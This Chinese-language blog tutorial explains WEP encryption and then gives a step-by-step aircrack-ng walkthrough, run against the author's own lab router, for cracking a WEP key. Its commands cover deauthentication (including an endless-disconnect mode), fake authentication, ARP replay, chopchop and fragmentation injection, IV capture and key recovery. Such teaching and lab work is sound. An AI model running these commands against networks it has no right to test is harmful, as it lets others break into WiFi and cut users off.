无线WiFi安全渗透与攻防(五)之aircrack-ng破解WEP加密
系列文章
无线WiFi安全渗透与攻防(一)之无线安全环境搭建
无线WiFi安全渗透与攻防(二)之打造专属字典
无线WiFi安全渗透与攻防(三)之Windows扫描wifi和破解WiFi密码
无线WiFi安全渗透与攻防(四)之kismet的使用
aircrack-ng破解WEP加密
1.WEP介绍
其实我们平常在使用wifi的时候,往往会用到的加密方式主要有WEP(pre-RSNA), WPA(TKIP), WPA2(CCMP-AES), 如果有个别对安全要求比较高的也会使用企业级加密(802.1x). 在最新的802.11-2010标准中,有明确的支持新的无线设备应该抛弃WEP和WPA加密方式,而且必须支持WPA2加密方式,但是不得不接受的是,现在我们是有的大多数设备并没有更新的这么快,广泛的WEP和WPA仍然在使用中,而且新开发的设备也应该保持对他们的兼容,所以即使在最新开发的产品中也并没有完全按照802.11-2010的要求,直接放弃对WEP和WPA的支持。
刚开始了解无线加密,也有必要从WEP加密开始掌握WEP-WPA-WPA2-802.1x等相关知识,一是这些东西至少在当前阶段还用的上,二是后面那些更高级的加密方法其实根本上还是基于WEP加密思想改进而来的。
其实无线加密主要是对数据在链路层进行加密,如下图,802.11主要是对physical[ˈfɪzɪkl]和Data-link层进行了定义,而数据链路层又分成两个部分,媒介访问控制(MAC)和逻辑链路控制(LLC),无线数据的加密处理就是在MAC和LLC两个阶段中间做的事情,加密的对象就是MSDU。
所以对于没有MSDP的无线帧是不用加密的,比如管理帧只携带layer [ler] 2的信息,不需要加密;控制帧只有头部和尾部,不需要加密;空帧没有数据域(但有特定的功能),也不需要加密; 总之,需要加密的帧,往往是数据帧。
2.认证类型
加密的分类主要包括共享秘钥认证和开放系统认证,WEP加密是共享秘钥式,而TKIP、CCMP和802.1x则是开放系统,这两种分类个人觉得主要区别是先完成秘钥认证再进行关联,还是先完成关联再进行秘钥认证。比如,它要求无线客户端发送的authentication [ɔːˌθentɪˈkeɪʃn] 报文中指定加密方式,如果是共享秘钥就会进行秘钥的确认,如果是开放系统,则会留到后面关联成功后进行秘钥的确认。
1.开放系统认证
这种认证方式不需要确认STA的任何信息,它只是和AP进行一个招呼式的交互,这个过程中并没有交互身份信息,所以也可以认为是一个空加密。这样做的目的是,双方都认为应该在后面使用更安全的加密方式,在这里只是先打个招呼,STA先进来,我们慢慢坐下核对信息。所以STA发送的第一个Authentication [ɔːˌθentɪˈkeɪʃn] 报文只要表面自己使用的开放系统认证就好了,AP自然会给予successful答复,接着后面顺利完成关联。
2.共享秘钥认证
这种认证方式使用WEP认证STA,所以这种认证的前提是STA和AP都有配置静态的WEP秘钥,因此认证的目的就是确认两者使用的秘钥是否一致。共享秘钥认证是通过4个认证帧的交互来完成的,STA首先发送一个Authentication request给AP,然后AP会给STA回复一个挑战明文,接着STA使用秘钥对这个明文进行加密并发送给AP,最后AP对其进行解密,如果能够解密成功并且明文一致则表示认证成功并回复。
虽然看起来,共享秘钥认证比开放系统认证会更安全,其实实际上并不是这样,因为对于共享秘钥认证,攻击者可以捕获明文内容,也可以捕获加密后的密文,那就很容易被破解,而且秘钥一旦被破解,那么后面交互的所有数据包都能轻易的解密。
3.加密算法介绍
根据加密算法的分类,可以分为同步加密算法和异步加密算法:
同步加密算法:这种算法不管是加密还是解密,都是使用同一个秘钥,为了确保数据的安全,就需要对这么秘钥进行保护,但问题是在进行认证的时候必须对这个秘钥进行确认,那么就需要提出一种安全的确认秘钥的方法,这些方法包括WEP, TKIP, and CCMP。
异步加密算法:这种算法包含了两个秘钥,分别是公钥和私钥,公钥用于消息的加密,私钥用于消息的解密,所以即使有好多人知道公钥,没有私钥也破解不了消息。
流加密和块加密: 流加密以一个bit为单位进行处理,块加密以一个块为单位进行处理
4.WEP加密和解密
1.加密
WEP是一个Layer 2的加密方法,它使用的是ARC4流加密。它有一个数据完整性校验操作,也就是Integrity Check Value (ICV),这个值是通过计算为加密的数据域(MSDU)而来的。
802.11标准定义了两个WEP版本,分别是WEP-40和WEP-104支持64bit和128bit加密,其实40和104都是从64与128减24得来的,这24位叫初始化向量Initialization Vector (IV),注意和ICV进行区分。
40和104则是指静态秘钥的bit长度,也就是说
WEP-40支持输入10 hex characters or 5 ASCII characters,10位16进制或5位ASCII字符
WEP-104支持输入26 hex characters or 13 ASCII characters:26位16进制或13位ASCII 字符
一般来说,WEP支持4个key,使用时从中选一个进行加密。
那么WEP加密过程是怎么实现的呢?下面根据流程图来分析一下
(1) IV是动态生成的24bit随机数,标准没有指定应该怎么生成,而且在数据帧中以明文的方式进行发送,它和key结合生成随机种子(seed),然后运用CR4算法生成秘钥流(keystream)。
(2)对需要加密的明文进行CRC-32运算,生成 ICV(32位),然后将这个 ICV 追加到 plaintext的后面
(3)将尾部有 ICV的plaintext 与密码流进行异或运算,得到加密数据
(4)将 IV 添加到加密数据的前面,进行传送。
下面是WEP加密后的一个数据帧MPDU 格式:
从上图可以看出,在帧体部分包括 IV + MSDU + ICV:
IV一共是4个字节,前3个字节是24bit的初始化向量,后面6bit暂时预留空白没用,最后两个bit用来指定使用哪个key,我们前面有提到过,WEP可以配置4个KEY。
MSDU和ICV是被加密的,在解密的时候,需要检验ICV是否一致
2.解密
和加密相反,解密也需要这几个过程:
(1)IV和key结合生成随机种子(seed),然后运用ACR4算法生成秘钥流(keystream)
(2)将keystream和加密数据进行异或,得到 plaintext 和 ICV
(3)根据解密后得到的 plaintext 再计算一个 ICV 和包中的 ICV进行比较,判断是否相等,这也算是一个可靠性的保证。
5.Aircrack-ng 常用工具包
aircrack-ng:破解
airmon-ng:改变网卡工作模式,将网卡从Managed Mode 改变为 Monitor Mode
airodump-ng:抓包工具,用于捕获报文
aireplay-ng:提供各种攻击,为airodump-ng创造更多的报文
airserv-ng:网卡连接到指定端口 可以用来做无线跳板
airolib-ng:彩虹表破解创建数据库文件
airdecap-ng:解包
6.Aireplay-ng 的 6 种攻击模式详解
1.冲突模式
-0 Deautenticate 冲突模式
使已经连接的合法客户端强制断开与路由端的连接,使其重新连接。在重新连接过程中获得验证数据包,从而产生有效 ARP request。
如果一个客户端连在路由端上,但是没有人上网以产生有效数据,此时,即使用-3 也无法产生有效 ARP request。所以此时需要用-0 攻击模式配合,-3 攻击才会被立刻激活。
aireplay-ng -0 10 –a <ap mac> -c <my mac> wifi0
【-0】:冲突攻击模式,后面跟发送次数(设置为 0,则为循环攻击,不停的断开连接,客户端无法正常上网)
【-a】:设置 ap 的 mac
【-c】:设置已连接的合法客户端的 mac。
如果不设置-c,则断开所有和 ap 连接的合法客户端。
aireplay-ng -3 -b <ap mac> -h <my mac> wifi0
注:使用此攻击模式的前提是必须有通过认证的合法的客户端连接到路由器
2.伪装客户端连接
-1 fakeauth count 伪装客户端连接
这种模式是伪装一个客户端和 AP 进行连接。
这步是无线客户端的研究学习的第一步,因为是无合法连接的客户端,因此需要一个伪装客户端来和路由器相连。为让 AP 接受数据包,必须使自己的网卡和 AP 关联。如果没有关联的话,目标 AP 将忽略所有从你网卡发送的数据包,IVS 数据将不会产生。
用-1 伪装客户端成功连接以后才能发送注入命令,让路由器接受到注入命令后才可反馈数据从而产生 ARP 包。
aireplay-ng -1 0 –e <ap essid> -a <ap mac> -h <my mac> wifi0
参数说明:
【-1】:伪装客户端连接模式,后面跟延时
【-e】:设置 ap 的 essid
【-a】:设置 ap 的 mac
【-h】:设置伪装客户端的网卡 MAC(即自己网卡 mac)
3.交互模式
-2 Interactive 交互模式
这种攻击模式是一个抓包和提数据发攻击包,三种集合一起的模式
1.这种模式主要用于研究学习无客户端,先用-1 建立虚假客户端连接然后直接发包攻击
aireplay-ng -2 -p 0841 -c ff:ff:ff:ff:ff:ff -b <ap mac> -h <my mac> wifi0
参数说明:
【-2】:交互攻击模式
【-p】:设置控制帧中包含的信息(16 进制),默认采用 0841
【-c】:设置目标 mac 地址
【-b】:设置 ap 的 mac 地址
【-h】:设置伪装客户端的网卡 MAC(即自己网卡 mac)
2.提取包,发送注入数据包, 发包攻击。
aireplay-ng -2 –r <file> -x 1024 wifi0
-x 1024 是限定发包速度,避免网卡死机,可以选择 1024
4.注入攻击模式
-3 ARP-request 注入攻击模式
这种模式是一种抓包后分析重发的过程 这种攻击模式很有效。既可以利用合法客户端,也可以配合-1 利用虚拟连接的伪装客户端。如果有合法客户端那一般需要等几分钟,让合法客户端和 ap 之间通信,少量数据就可产生有效 ARP request 才可利用-3模式注入成功。如果没有任何通信存在,不能得到 ARP request.,则这种攻击就会失败。
如果合法客户端和ap之间长时间内没有 ARP request,可以尝试同时使用-0 攻击. 如果没有合法客户端,则可以利用-1 建立虚拟连接的伪装客户端,连接过程中获得验证数据包,从而产生有效 ARP request。再通过-3 模式注入。
aireplay-ng -3 -b <ap mac> -h <my mac> -x 512 wifi0
参数说明:
【-3】:arp 注入攻击模式
【-b】:设置 ap 的 mac
【-h】:设置自己的mac地址
【-x】:定义每秒发送数据户包的数量,但是最高不超过 1024,建议使用 512(也可不定义)
5.Chopchop 攻击模式
-4 Chopchop 攻击模式
用以获得一个包含密钥数据的 xor 文件 这种模式主要是获得一个可利用包含密钥数据的 xor 文件,不能用来解密数据包。而是用它来产生一个新的数据包以便我们可以进行注入。
aireplay-ng -4 -b <ap mac> -h <my mac> wifi0
参数说明:
【-b】:设置需要研究学习的 AP 的 mac
【-h】:设置虚拟伪装连接的 mac(即自己网卡的 mac)
6.碎片包攻击模式
-5 fragment 碎片包攻击模式
用以获得 PRGA(包含密钥的后缀为 xor 的文件) 这种模式主要是获得一个可利用 PRGA,这里的 PRGA 并不是 wep key 数据,不能用来解密数据包。而是用它来产生一个新的数据包以便我们可以进行注入。其工作原理就是使目标 AP 重新广播包,当 AP 重广播时,一个新的 IVS 将产生,我们就是利用这个来研究学习
aireplay-ng -5 -b <ap mac> -h <my mac> wifi0
【-5】:碎片包攻击模式
【-b】:设置 ap 的 mac
【-h】:设置虚拟伪装连接的 mac(即自己网卡的 mac)
7.WEP wifi破解步骤
1.环境准备
1.路由器介绍
本文使用的路由器为:思科企业级内置双天线cvr100无线路由器,支持WEP,WPA,WPS加密方式,一般的家用路由器或者比较新的路由器不支持以上三种模式。
2.路由器配置
1.选择无线配置,设置wifi信道为1
2.选择无线wifi–设置安全模式
3.安全模式选择wep,输入口令-点击生成密钥,点击显示密钥,点击保存
2.查看网卡是否连接到kali
ip a
3.开启Monitor Mode工作模式
airmon-ng start wlan0
4.扫描附近的wifi
确定目标wifi的信道,加密方式,信号强度,mac地址等信息
airodump-ng wlan0mon
5.对目标所在信道进行抓包
airodump-ng wlan0mon -c 1 --ivs -w /root/wifi/bk01/WEP --bssid 10:BD:18:08:43:31
-c:信道
--ivs:初始化向量
-w:输出抓包文件
--bssid:指定wifi进行抓包
6.手工创建客户端连接
设备连接wifi
当有设备连接AP时,工具会捕获到这个客户端的mac地址即相关信息
7.进行ARP注入攻击
arp重放攻击,通过模拟客户端发送ARP请求,获取AP的响应报文,通过AP报文获取ivs初始化向量
aireplay-ng -3 -b 10:BD:18:08:43:31 -h 68:54:5A:85:CB:40 wlan0mon
-3:arpreplay:arp重放攻击
-b:bssid AP的mac地址
-h:客户端的mac地址
遇到这个错误时,重新连接wifi会一直报【无法连接到该wifi】,这时候,需要ctrl+C停掉arp重放攻击,然后重新在发起一个新的arp重放攻击,在连接wifi就ok了
8.使用Deautenticate攻击模式
使已经连接的合法客户端强制断开与路由端的连接,使其重新连接。在重新连接过程中获得验证数据包,从而产生有效 ARP request。(也不一定能成功,不成功多试几次)
aireplay-ng -0 5 -a 10:BD:18:08:43:31 -c 68:54:5A:85:CB:40 wlan0mon
-0:冲突攻击模式,后面跟发送次数(设置为 0,则为循环攻击,不停的断开连接,客户端无法正常上网)
-a:设置 ap 的 mac
-c:设置已连接的合法客户端的 mac
9.手动连接AP
等待Frame到5-10万时,就可以尝试破解了
10.破解WIFI,获取WEP密码
aircrack-ng /root/wifi/bk01/WEP-01.ivs
遇到这种说明ivs样本不够,按ctrl+c退出,在等一会重新执行破解命令就可以。也可以在这个界面保持不动,当ivs达到5000时,他会自动重新破解
ivs样本足够时,很快就能破解出来了
把冒号去掉就是密钥了,然后用这个密钥就可以连接WEP加密的WIFI了